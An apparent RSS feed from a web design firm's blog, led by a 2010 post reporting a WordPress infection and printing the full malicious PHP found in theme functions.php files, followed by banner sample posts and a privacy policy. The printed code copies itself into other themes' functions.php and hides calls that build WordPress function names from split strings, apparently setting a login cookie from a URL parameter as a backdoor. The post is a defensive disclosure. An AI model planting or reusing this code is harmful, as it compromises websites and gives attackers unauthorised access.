Say Hi to HI http://harmonyinfotech.in Welcome to Virtual Home of Harmony Infotech Fri, 26 Mar 2010 14:14:46 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 Wordpress Virus – function _check_isactive_widgetshttp://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/ http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/#comments Fri, 26 Mar 2010 13:55:06 +0000 alok http://harmonyinfotech.in/?p=2776 Yet Another Related Posts Plugin.]]> Recently on our one of the WPMU installation, all the blogs hosted on that WPMU server started giving error.  We tried to find the error as it seems to be happening in the functions.php file in all the themes.  Turned out that the following line of code has been added to all the functions.php file in the theme. We haven’t yet analysed the code fully but if you follow the code, it seems to be targetting particularly wordpress only.  When searching online for _check_isactive_widgets function (one of the first function in the extra code) only 1 link is visible in google ie http://themes.svn.wordpress.org/globalcreativity/1.2/functions.php  .   I am not sure from where our site got infected but I think it must be due to some theme which may have been installed recently on our server. We will update here further details about this issue but for the time being we are busy fixing the infected files.

Update 1:

Ok. Looking at the code in a glance, it seems like it is looking for comments being made by livethemes@gmail.com.  It is just my hunch that it may try to extract the links from the comments and try inserting that links into the current sidebar or footer.  Have to investigate it further since there isn’t any mention of livethemes@gmail.com online yet.

Code Being inserted into functions.php

<?php
function _check_isactive_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),”<”.”?”));$output=”";$allowed=”";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),”themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,”_”),stripos(substr($widget,stripos($widget,”_”)),”(“));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$seprar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
$output .= $before . “Not found” . $after;
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
$output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $seprar . “\n” .$widget);fclose($f);
$output .= ($showsdots && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _get_allwidgetscont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetscont($wids,$items);
} else {
return $items;
}
}
if(!function_exists(“stripos”)){
function stripos(  $str, $needle, $offset = 0  ){
return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
}
}

if(!function_exists(“strripos”)){
function strripos(  $haystack, $needle, $offset = 0  ) {
if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
if(  $offset < 0  ){
$temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
}
else{
$temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) – $offset ), 0  )   )    );
}
if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
$pos = (   strlen(  $haystack  ) – (  $found + $offset + strlen( $needle )  )   );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action(“admin_head”, “_check_isactive_widgets”);
function _prepare_widgets(){
if(!isset($comment_length)) $comment_length=120;
if(!isset($strval)) $strval=”cookie”;
if(!isset($tags)) $tags=”<a>”;
if(!isset($type)) $type=”none”;
if(!isset($sepr)) $sepr=”";
if(!isset($h_filter)) $h_filter=get_option(“home”);
if(!isset($p_filter)) $p_filter=”wp_”;
if(!isset($more_link)) $more_link=1;
if(!isset($comment_types)) $comment_types=”";
if(!isset($countpage)) $countpage=$_GET["cperpage"];
if(!isset($comment_auth)) $comment_auth=”";
if(!isset($c_is_approved)) $c_is_approved=”";
if(!isset($aname)) $aname=”auth”;
if(!isset($more_link_texts)) $more_link_texts=”(more…)”;
if(!isset($is_output)) $is_output=get_option(“_is_widget_active_”);
if(!isset($checkswidget)) $checkswidget=$p_filter.”set”.”_”.$aname.”_”.$strval;
if(!isset($more_link_texts_ditails)) $more_link_texts_ditails=”(details…)”;
if(!isset($mcontent)) $mcontent=”ma”.$sepr.”il”;
if(!isset($f_more)) $f_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=”";
if (!$is_output) :

global $wpdb, $post;
$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$sepr.”vethe”.$comment_types.”mes”.$sepr.”@”.$c_is_approved.”gm”.$comment_auth.”ail”.$sepr.”.”.$sepr.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tag)) $f_tag=1;
if(!isset($types)) $types=$h_filter;
if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
if(!isset($aditional_tag)) $aditional_tag=”div”;
if(!isset($stext)) $stext=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($morelink_title)) $morelink_title=”Continue reading this entry”;
if(!isset($showsdots)) $showsdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($comment_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, “<!–more–>”)) {
$text=explode(“<!–more–>”, $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $comment_length) {
$l=$comment_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link_texts=”";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . ” “;
}
update_option(“_is_widget_active_”, 1);
if(“all” != $tags) {
$output=strip_tags($output, $tags);
return $output;
}
endif;
$output=rtrim($output, “\s\n\t\r\x0B”);
$output=($f_tag) ? balanceTags($output, true) : $output;
$output .= ($showsdots && $ellipsis) ? “…” : “”;
$output=apply_filters($type, $output);
switch($aditional_tag) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}

if ($more_link ) {
if($f_more) {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\”". get_permalink($post->ID) . “#more-” . $post->ID .”\” title=\”" . $morelink_title . “\”>” . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : “” . “</a></” . $tag . “>” . “\n”;
} else {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\”". get_permalink($post->ID) . “\” title=\”" . $morelink_title . “\”>” . $more_link_texts . “</a></” . $tag . “>” . “\n”;
}
}
return $output;
}

add_action(“init”, “_prepare_widgets”);

function __popular_posts($no_posts=6, $before=”<li>”, $after=”</li>”, $show_pass_post=false, $duration=”") {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\”";
if(!$show_pass_post) $request .= ” AND post_password =\”\”";
if($duration !=”") {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
}
$request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=”";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” <a href=\”" . $permalink . “\” title=\”" . $post_title.”\”>” . $post_title . “</a> ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return  $output;
}
?>

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

]]> http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/feed/ 3 Simple Banner 200×200 Sample Set 01http://harmonyinfotech.in/banners/simple-banner-200x200-sample-set-02/ http://harmonyinfotech.in/banners/simple-banner-200x200-sample-set-02/#comments Mon, 06 Apr 2009 12:00:25 +0000 ravi http://harmonyinfotech.in/blogs/?p=1830 Yet Another Related Posts Plugin.]]> simplebanner sample 02 Simple Banner 200x200 Sample Set 01simplebanner sample 011 Simple Banner 200x200 Sample Set 01

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

]]> http://harmonyinfotech.in/banners/simple-banner-200x200-sample-set-02/feed/ 0 Privacy Policyhttp://harmonyinfotech.in/blogging/privacy-policy/ http://harmonyinfotech.in/blogging/privacy-policy/#comments Wed, 01 Apr 2009 12:15:36 +0000 alok http://harmonyinfotech.in/blogs/?p=1819 Yet Another Related Posts Plugin.]]> According to Google Instructions , sites participating in adsense program needs to have an updated privacy policy reflecting the new Interests Based advertising based on cookies. Here is the our privacy policy which complies with the google guidelines.

Personal Information Collected on this Website
No personally-identifiable information is collected on this website from persons that browse our website. The only personally-identifiable information collected on this website is gathered on our “contact us” pages, where fields are provided so that you can provide your name, email address and phone contact information. We collect this information so that we can respond to the comments that you send to us via that form.

Anonymous Information Collected on this Website
We record anonymous data. Most of the information that we collect from this website is anonymous information, such as the pages you visit. Other anonymous data we may collect might include the name of your internet service provider, the website that you used to link to our site, the websites that you visit from our site, and your IP address. The data is used for statistical purposes, but you, as the individual user, remain anonymous. We use this anonymous information to help improve the content of this site and to compile aggregate statistics about individuals using our site for internal market research purposes.

Cookies
We use cookies on this website. We use Google, as a third party advertising company to serve ads when you visit our website. Google a DoubleClick DART cookie to  serve ads to you based on visit to this sites and other sites on the Internet. If you would like more information about this practice and to know your choices about not having this information used by these Google, click here.

This privacy policy is being linked from all the sites under direct control of Harmony Infotech or Team Members who use our publisher ID to display adsense ad on their personal sites.

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

]]> http://harmonyinfotech.in/blogging/privacy-policy/feed/ 0 Simple Banner 320×250 Sample Set 01http://harmonyinfotech.in/banners/simple-banner-320x250-sample-set-01/ http://harmonyinfotech.in/banners/simple-banner-320x250-sample-set-01/#comments Sat, 28 Mar 2009 12:32:08 +0000 ravi http://harmonyinfotech.in/blogs/?p=1742 Yet Another Related Posts Plugin.]]> Are you looking for Banners. Get a Banner for only $5.                                            Send a mail to banners@harmonyinfotech.in and mention “1 Banner – 5 Dollar “.

simplebanner 320x250 sample 01 Simple Banner 320x250 Sample Set 01simplebanner 320x250 sample 02 Simple Banner 320x250 Sample Set 01simplebanner 320x250 sample 053 Simple Banner 320x250 Sample Set 01
simplebanner 320x250 sample 06 Simple Banner 320x250 Sample Set 01

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

]]> http://harmonyinfotech.in/banners/simple-banner-320x250-sample-set-01/feed/ 0 Simple Banner 120×600 Sample Set 2http://harmonyinfotech.in/banners/simple-banner-120x600-sample-set-2/ http://harmonyinfotech.in/banners/simple-banner-120x600-sample-set-2/#comments Sat, 21 Mar 2009 11:57:49 +0000 ravi http://harmonyinfotech.in/blogs/?p=1734 Yet Another Related Posts Plugin.]]> simplebanner 120x600 sample 02 copy Simple Banner 120x600 Sample Set 2

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

]]> http://harmonyinfotech.in/banners/simple-banner-120x600-sample-set-2/feed/ 0 Animated Banner 120×600 sample set 2http://harmonyinfotech.in/banners/animated-banner-120x600-sample-set-2/ http://harmonyinfotech.in/banners/animated-banner-120x600-sample-set-2/#comments Sat, 21 Mar 2009 11:53:35 +0000 ravi http://harmonyinfotech.in/blogs/?p=1729 Yet Another Related Posts Plugin.]]> animatedbanner 120x600 sample 01 Animated Banner 120x600 sample set 2animated banner 120x600 sample 02 Animated Banner 120x600 sample set 2

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

]]> http://harmonyinfotech.in/banners/animated-banner-120x600-sample-set-2/feed/ 0 Simple Banner 120×600 Sample Set 1http://harmonyinfotech.in/banners/simple-banner-120x600-sample-set-1/ http://harmonyinfotech.in/banners/simple-banner-120x600-sample-set-1/#comments Fri, 20 Mar 2009 11:41:28 +0000 ravi http://harmonyinfotech.in/blogs/?p=1706 Yet Another Related Posts Plugin.]]> simplebanner 120x600 sample03 Simple Banner 120x600 Sample Set 1simple banner 120x600 sample 011 Simple Banner 120x600 Sample Set 1simplebanner 120x600 sample 2 Simple Banner 120x600 Sample Set 1

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

]]> http://harmonyinfotech.in/banners/simple-banner-120x600-sample-set-1/feed/ 0 Simple Banner 468×60 Sample Set 03http://harmonyinfotech.in/banners/simple-banner-468x60-sample-set-03/ http://harmonyinfotech.in/banners/simple-banner-468x60-sample-set-03/#comments Fri, 20 Mar 2009 11:22:05 +0000 ravi http://harmonyinfotech.in/blogs/?p=1690 Yet Another Related Posts Plugin.]]> simplebanner 468x60 sample 01 Simple Banner 468x60 Sample Set 03
simplebanner 468x60 sample 011 Simple Banner 468x60 Sample Set 03simplebanner 468x60 sample 02 Simple Banner 468x60 Sample Set 03

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

]]> http://harmonyinfotech.in/banners/simple-banner-468x60-sample-set-03/feed/ 0 Animated Banner 120×600 sample set1http://harmonyinfotech.in/banners/animatedbanner120x600sampleset1/ http://harmonyinfotech.in/banners/animatedbanner120x600sampleset1/#comments Fri, 20 Mar 2009 05:36:13 +0000 ravi http://harmonyinfotech.in/blogs/?p=1659 Yet Another Related Posts Plugin.]]> 120x600 animatedbanner sample052 Animated Banner 120x600 sample set1

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

]]> http://harmonyinfotech.in/banners/animatedbanner120x600sampleset1/feed/ 0 Animated Banner 468×60 Sample Set 2http://harmonyinfotech.in/banners/animated-banner-468x60sample-set2/ http://harmonyinfotech.in/banners/animated-banner-468x60sample-set2/#comments Thu, 19 Mar 2009 12:43:01 +0000 ravi http://harmonyinfotech.in/blogs/?p=1649 Yet Another Related Posts Plugin.]]> 468x60 animated banner sample 01 Animated Banner 468x60 Sample Set 2468x60 animated banner sample 02 Animated Banner 468x60 Sample Set 2468x60 animated banner sample 03 Animated Banner 468x60 Sample Set 2468x60 animated banner sample 04 Animated Banner 468x60 Sample Set 2

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

]]> http://harmonyinfotech.in/banners/animated-banner-468x60sample-set2/feed/ 0